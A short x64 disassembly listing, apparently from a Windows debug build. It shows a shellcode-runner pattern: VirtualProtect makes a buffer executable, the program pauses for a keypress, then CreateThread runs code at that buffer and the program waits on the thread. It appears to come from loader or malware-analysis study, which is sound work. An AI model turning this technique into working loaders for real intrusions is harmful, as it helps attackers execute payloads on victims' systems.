lea r9, [rbp + 0x64]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rbp + 0x24], eax
lea rcx, str._nHit_last__n
call fcn.14001119a
call qword [sym.imp.ucrtbased.dll_getchar]
cmp dword [rbp + 0x24], 0
je 0x140011b80
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad00]
call fcn.140011316
mov eax, edi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret